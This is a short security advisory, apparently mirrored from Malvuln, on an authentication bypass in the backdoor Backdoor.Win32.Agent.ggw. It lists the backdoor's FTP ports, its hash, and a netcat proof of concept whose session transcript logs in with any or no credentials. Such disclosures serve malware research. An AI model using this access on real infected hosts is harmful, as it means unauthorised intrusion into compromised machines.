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## https://sploitus.com/exploit?id=PACKETSTORM:162394
Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/509e3d4839688c6173980dfba22ebd55.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Agent.ggw  
Vulnerability: Authentication Bypass  
Description: The malware runs a built-in FTP server listening on one of several random TCP ports like 32335, 27227, 27942, 14223, 14988, 11092. Third-party attackers who can reach the server and that know or guess the port can "logon" using any USER/PASS combination or provide no credentials at all.  
Type: PE32  
MD5: 509e3d4839688c6173980dfba22ebd55   
Vuln ID: MVID-2021-0193  
Dropped files:   
Disclosure: 04/29/2021  
  
Exploit/PoC:  
1) Any user creds  
  
nc64.exe MALWARE_HOST_IP 14223  
220 ProFTPD 1.13.4 Server (ProFTPD Default Installation)  
USER mal  
331 Password required  
PASS vuln  
230 User logged in.  
SYST  
501 Option not supported.  
LIST  
226 Transfer complete  
  
2) No creds  
  
nc64.exe MALWARE_HOST_IP 14223  
220 ProFTPD 1.13.4 Server (ProFTPD Default Installation)  
SYST  
501 Option not supported.  
LIST  
226 Transfer complete  
  
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